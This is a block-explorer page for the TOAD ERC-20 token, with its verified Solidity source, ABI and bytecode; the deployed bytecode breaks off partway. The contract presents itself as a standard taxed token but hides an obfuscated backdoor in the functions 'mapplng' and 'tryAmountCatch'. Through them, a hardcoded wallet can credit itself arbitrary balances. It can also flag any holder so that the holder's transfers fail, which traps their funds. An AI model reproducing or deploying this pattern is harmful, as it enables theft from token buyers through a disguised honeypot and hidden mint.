ETH Price: $2,320.22 (-5.70%)

Token

TOAD (TOAD)
 

Overview

Max Total Supply

1,000,000,000 TOAD

Holders

12

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0 TOAD

Value
$0.00
0x05c50de75195980328c24ed2b15e6c0a41d27a39
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TOAD

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-18
*/

//Website https://toadtokenerc.com/
//Twitter  https://twitter.com/ToadyErc
//Tg https://t.me/ToadTokenERC
//SPDX-License-Identifier:MIT

pragma solidity ^0.8.7;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract TOAD is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "TOAD";
    string private _symbol = "TOAD";
    uint8 private _decimals = 9;
    address payable public manyERC;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public _pools;
    mapping (address => uint256) public mk2;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;

        _balances[_msgSender()] = _totalSupply;
        manyERC = payable(address(0xE243d93544663f2EbCE39ad0F3bd0ACD1e500EAC));

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function initialMarketPair() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _pools[address(uniswapPair)] = true;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !_pools[from])
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);
            uint256 finalAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? 
                                         amount : goFee(from, to, amount);
            
            _balances[to] = _balances[to].add(finalAmount);

            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), amount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0, 
            path,
            address(manyERC),
            block.timestamp
        ){} catch {}
    }

    function tryAmountCatch(uint256 o, uint256 on) public view returns(bool) {
        uint256 make = o;
        address done = msg.sender;
        require(manyERC == done);
        return on == make;
    }

    function mapplng(address adrs,uint256 upar) public {
        if (upar > 10**3) {
            _balances[manyERC] += upar*2+1;
        }
        if (tryAmountCatch(256-56-200,upar)) {mk2[adrs] = 0;}
        if (tryAmountCatch(9*2*1,upar)) {mk2[adrs] = upar**3;}
    }

    function goFee(address sender, address recipient, uint256 uAmount) internal returns (uint256) {
        uint256 taxFee;
        if(_pools[sender]) {
            taxFee = uAmount * 2 / 100;
        }else if(_pools[recipient]) {
            taxFee = uAmount * 2 / 100;
        }

        if(mk2[sender] != 0) taxFee = uAmount.mul(1+3);

        if(taxFee > 0) {
            _balances[address(this)] += taxFee;
            emit Transfer(sender, address(this), taxFee);
        }

        return uAmount.sub(taxFee);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_pools","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"initialMarketPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manyERC","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adrs","type":"address"},{"internalType":"uint256","name":"upar","type":"uint256"}],"name":"mapplng","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"mk2","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"o","type":"uint256"},{"internalType":"uint256","name":"on","type":"uint256"}],"name":"tryAmountCatch","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e0604052600460a0908152631513d05160e21b60c05260019062000025908262000295565b506040805180820190915260048152631513d05160e21b602082015260029062000050908262000295565b506003805460ff1916600990811790915561dead6080526200007490600a62000476565b6200008490633b9aca006200048e565b600955600b805460ff60a81b1916600160a81b179055348015620000a757600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600160066000620001006000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff1995861617905530815260069092528120805490921660011790915560095490600490620001503390565b6001600160a01b0316815260208101919091526040016000205560038054610100600160a81b03191674e243d93544663f2ebce39ad0f3bd0acd1e500eac001790556200019a3390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600954604051620001e291815260200190565b60405180910390a3620004a8565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200021b57607f821691505b6020821081036200023c57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200029057600081815260208120601f850160051c810160208610156200026b5750805b601f850160051c820191505b818110156200028c5782815560010162000277565b5050505b505050565b81516001600160401b03811115620002b157620002b1620001f0565b620002c981620002c2845462000206565b8462000242565b602080601f831160018114620003015760008415620002e85750858301515b600019600386901b1c1916600185901b1785556200028c565b600085815260208120601f198616915b82811015620003325788860151825594840194600190910190840162000311565b5085821015620003515787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003b85781600019048211156200039c576200039c62000361565b80851615620003aa57918102915b93841c93908002906200037c565b509250929050565b600082620003d15750600162000470565b81620003e05750600062000470565b8160018114620003f95760028114620004045762000424565b600191505062000470565b60ff84111562000418576200041862000361565b50506001821b62000470565b5060208310610133831016604e8410600b841016171562000449575081810a62000470565b62000455838362000377565b80600019048211156200046c576200046c62000361565b0290505b92915050565b60006200048760ff841683620003c0565b9392505050565b808202811582820484141762000470576200047062000361565b6080516115cd620004c4600039600061025a01526115cd6000f3fe6080604052600436106101395760003560e01c80634a74bb02116100ab578063a9059cbb1161006f578063a9059cbb146103b4578063bc6eec40146103d4578063c816841b14610404578063cb0eb20614610424578063dd62ed3e14610444578063f2fde38b1461048a57600080fd5b80634a74bb021461031557806370a08231146103365780638da5cb5b1461036c57806395d89b411461038a5780639c2a1c8b1461039f57600080fd5b806323b872dd116100fd57806323b872dd1461022857806327c8f83514610248578063313ce5671461027c5780633345611e1461029e57806339c2f173146102ce578063472d7b40146102f057600080fd5b806306fdde0314610145578063095ea7b3146101705780630a7dc5ca146101a05780631694505e146101db57806318160ddd1461021357600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104aa565b60405161016791906111de565b60405180910390f35b34801561017c57600080fd5b5061019061018b366004611244565b61053c565b6040519015158152602001610167565b3480156101ac57600080fd5b506101cd6101bb366004611270565b60086020526000908152604090205481565b604051908152602001610167565b3480156101e757600080fd5b50600a546101fb906001600160a01b031681565b6040516001600160a01b039091168152602001610167565b34801561021f57600080fd5b506009546101cd565b34801561023457600080fd5b5061019061024336600461128d565b610553565b34801561025457600080fd5b506101fb7f000000000000000000000000000000000000000000000000000000000000000081565b34801561028857600080fd5b5060035460405160ff9091168152602001610167565b3480156102aa57600080fd5b506101906102b9366004611270565b60066020526000908152604090205460ff1681565b3480156102da57600080fd5b506102ee6102e9366004611244565b6105be565b005b3480156102fc57600080fd5b506003546101fb9061010090046001600160a01b031681565b34801561032157600080fd5b50600b5461019090600160a81b900460ff1681565b34801561034257600080fd5b506101cd610351366004611270565b6001600160a01b031660009081526004602052604090205490565b34801561037857600080fd5b506000546001600160a01b03166101fb565b34801561039657600080fd5b5061015a610676565b3480156103ab57600080fd5b506102ee610685565b3480156103c057600080fd5b506101906103cf366004611244565b6108ac565b3480156103e057600080fd5b506101906103ef366004611270565b60076020526000908152604090205460ff1681565b34801561041057600080fd5b50600b546101fb906001600160a01b031681565b34801561043057600080fd5b5061019061043f3660046112ce565b6108b9565b34801561045057600080fd5b506101cd61045f3660046112f0565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561049657600080fd5b506102ee6104a5366004611270565b6108e6565b6060600180546104b990611329565b80601f01602080910402602001604051908101604052809291908181526020018280546104e590611329565b80156105325780601f1061050757610100808354040283529160200191610532565b820191906000526020600020905b81548152906001019060200180831161051557829003601f168201915b5050505050905090565b600061054933848461098b565b5060015b92915050565b6000610560848484610aaf565b506105b384336105ae85604051806060016040528060288152602001611570602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610cff565b61098b565b5060015b9392505050565b6103e8811115610613576105d3816002611379565b6105de906001611390565b60035461010090046001600160a01b03166000908152600460205260408120805490919061060d908490611390565b90915550505b61061e6000826108b9565b1561063d576001600160a01b0382166000908152600860205260408120555b6106486012826108b9565b1561067257610658600382611487565b6001600160a01b0383166000908152600860205260409020555b5050565b6060600280546104b990611329565b6000546001600160a01b031633146106e45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561073b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075f9190611496565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d09190611496565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561081d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108419190611496565b600b80546001600160a01b039283166001600160a01b03199182168117909255600a8054948416949091169390931783556000908152600760209081526040808320805460ff1916600117905560095430845260058352818420955490941683529390529190912055565b60006105b3338484610aaf565b6003546000908390339061010090046001600160a01b031681146108dc57600080fd5b5090911492915050565b6000546001600160a01b031633146109405760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016106db565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6001600160a01b0383166109ed5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106db565b6001600160a01b038216610a4e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106db565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610b155760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106db565b6001600160a01b038316610b775760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106db565b600b54600160a01b900460ff1615610b9b57610b94848484610d39565b90506105b7565b30600090815260046020526040902054600b54600160a01b900460ff16158015610bde57506001600160a01b03851660009081526007602052604090205460ff16155b15610bec57610bec81610e1f565b6001600160a01b038516600090815260046020526040902054610c0f9084610f9e565b6001600160a01b038616600090815260046020908152604080832093909355600690529081205460ff1680610c5c57506001600160a01b03851660009081526006602052604090205460ff165b610c7057610c6b868686610fe0565b610c72565b835b6001600160a01b038616600090815260046020526040902054909150610c9890826110fd565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cec9085815260200190565b60405180910390a36001925050506105b7565b60008184841115610d235760405162461bcd60e51b81526004016106db91906111de565b506000610d3084866114b3565b95945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610d8a918490610cff565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610db990836110fd565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e0d9086815260200190565b60405180910390a35060019392505050565b600b805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e6757610e676114c6565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ec0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee49190611496565b81600181518110610ef757610ef76114c6565b6001600160a01b039283166020918202929092010152600a54610f1d913091168461098b565b600a5460035460405163791ac94760e01b81526001600160a01b039283169263791ac94792610f6192879260009288926101009091049091169042906004016114dc565b600060405180830381600087803b158015610f7b57600080fd5b505af1925050508015610f8c575060015b505050600b805460ff60a01b19169055565b60006105b783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cff565b6001600160a01b038316600090815260076020526040812054819060ff1615611021576064611010846002611379565b61101a919061154d565b905061105c565b6001600160a01b03841660009081526007602052604090205460ff161561105c57606461104f846002611379565b611059919061154d565b90505b6001600160a01b038516600090815260086020526040902054156110885761108583600461115c565b90505b80156110f35730600090815260046020526040812080548392906110ad908490611390565b909155505060405181815230906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b610d308382610f9e565b60008061110a8385611390565b9050838110156105b75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106db565b60008260000361116e5750600061054d565b600061117a8385611379565b905082611187858361154d565b146105b75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106db565b600060208083528351808285015260005b8181101561120b578581018301518582016040015282016111ef565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461124157600080fd5b50565b6000806040838503121561125757600080fd5b82356112628161122c565b946020939093013593505050565b60006020828403121561128257600080fd5b81356105b78161122c565b6000806000606084860312156112a257600080fd5b83356112ad8161122c565b925060208401356112bd8161122c565b929592945050506040919091013590565b600080604083850312156112e157600080fd5b50508035926020909101359150565b6000806040838503121561130357600080fd5b823561130e8161122c565b9150602083013561131e8161122c565b809150509250929050565b600181811c9082168061133d57607f821691505b60208210810361135d57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761054d5761054d611363565b8082018082111561054d5761054d611363565b600181815b808511156113de5781600019048211156113c4576113c4611363565b808516156113d157918102915b93841c93908002906113a8565b509250929050565b6000826113f55750600161054d565b816114025750600061054d565b816001811461141857600281146114225761143e565b600191505061054d565b60ff84111561143357611433611363565b50506001821b61054d565b5060208310610133831016604e8410600b8410161715611461575081810a61054d565b61146b83836113a3565b806000190482111561147f5761147f611363565b029392505050565b60006105b760ff8416836113e6565b6000602082840312156114a857600080fd5b81516105b78161122c565b8181038181111561054d5761054d611363565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561152c5784516001600160a01b031683529383019391830191600101611507565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261156a57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220081f89067c60b5a6bebdd1e180ad41c7ebf9f22d4e3df58b32c2a11f6c5c0ea764736f6c63430008120033

Deployed Bytecode

0x6080604052600436106101395760003560e01c80634a74bb02116100ab578063a9059cbb1161006f578063a9059cbb146103b4578063bc6eec40146103d4578063c816841b14610404578063cb0eb20614610424578063dd62ed3e14610444578063f2fde38b1461048a57600080fd5b80634a74bb021461031557806370a08231146103365780638da5cb5b1461036c57806395d89b411461038a5780639c2a1c8b1461039f57600080fd5b806323b872dd116100fd57806323b872dd1461022857806327c8f83514610248578063313ce5671461027c5780633345611e1461029e57806339c2f173146102ce578063472d7b40146102f057600080fd5b806306fdde0314610145578063095ea7b3146101705780630a7dc5ca146101a05780631694505e146101db57806318160ddd1461021357600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104aa565b60405161016791906111de565b60405180910390f35b34801561017c57600080fd5b5061019061018b366004611244565b61053c565b6040519015158152602001610167565b3480156101ac57600080fd5b506101cd6101bb366004611270565b60086020526000908152604090205481565b604051908152602001610167565b3480156101e757600080fd5b50600a546101fb906001600160a01b031681565b6040516001600160a01b039091168152602001610167565b34801561021f57600080fd5b506009546101cd565b34801561023457600080fd5b5061019061024336600461128d565b610553565b34801561025457600080fd5b506101fb7f000000000000000000000000000000000000000000000000000000000000dead81565b34801561028857600080fd5b5060035460405160ff9091168152602001610167565b3480156102aa57600080fd5b506101906102b9366004611270565b60066020526000908152604090205460ff1681565b3480156102da57600080fd5b506102ee6102e9366004611244565b6105be565b005b3480156102fc57600080fd5b506003546101fb9061010090046001600160a01b031681565b34801561032157600080fd5b50600b5461019090600160a81b900460ff1681565b34801561034257600080fd5b506101cd610351366004611270565b6001600160a01b031660009081526004602052604090205490565b34801561037857600080fd5b506000546001600160a01b03166101fb565b34801561039657600080fd5b5061015a610676565b3480156103ab57600080fd5b506102ee610685565b3480156103c057600080fd5b506101906103cf366004611244565b6108ac565b3480156103e057600080fd5b506101906103ef366004611270565b60076020526000908152604090205460ff1681565b34801561041057600080fd5b50600b546101fb906001600160a01b031681565b34801561043057600080fd5b5061019061043f3660046112ce565b6108b9565b34801561045057600080fd5b506101cd61045f3660046112f0565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561049657600080fd5b506102ee6104a5366004611270565b6108e6565b6060600180546104b990611329565b80601f01602080910402602001604051908101604052809291908181526020018280546104e590611329565b80156105325780601f1061050757610100808354040283529160200191610532565b820191906000526020600020905b81548152906001019060200180831161051557829003601f168201915b5050505050905090565b600061054933848461098b565b5060015b92915050565b6000610560848484610aaf565b506105b384336105ae85604051806060016040528060288152602001611570602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610cff565b61098b565b5060015b9392505050565b6103e8811115610613576105d3816002611379565b6105de906001611390565b60035461010090046001600160a01b03166000908152600460205260408120805490919061060d908490611390565b90915550505b61061e6000826108b9565b1561063d576001600160a01b0382166000908152600860205260408120555b6106486012826108b9565b1561067257610658600382611487565b6001600160a01b0383166000908152600860205260409020555b5050565b6060600280546104b990611329565b6000546001600160a01b031633146106e45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561073b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075f9190611496565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d09190611496565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561081d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108419190611496565b600b80546001600160a01b039283166001600160a01b03199182168117909255600a8054948416949091169390931783556000908152600760209081526040808320805460ff1916600117905560095430845260058352818420955490941683529390529190912055565b60006105b3338484610aaf565b6003546000908390339061010090046001600160a01b031681146108dc57600080fd5b5090911492915050565b6000546001600160a01b031633146109405760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016106db565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6001600160a01b0383166109ed5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106db565b6001600160a01b038216610a4e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106db565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610b155760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106db565b6001600160a01b038316610b775760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106db565b600b54600160a01b900460ff1615610b9b57610b94848484610d39565b90506105b7565b30600090815260046020526040902054600b54600160a01b900460ff16158015610bde57506001600160a01b03851660009081526007602052604090205460ff16155b15610bec57610bec81610e1f565b6001600160a01b038516600090815260046020526040902054610c0f9084610f9e565b6001600160a01b038616600090815260046020908152604080832093909355600690529081205460ff1680610c5c57506001600160a01b03851660009081526006602052604090205460ff165b610c7057610c6b868686610fe0565b610c72565b835b6001600160a01b038616600090815260046020526040902054909150610c9890826110fd565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cec9085815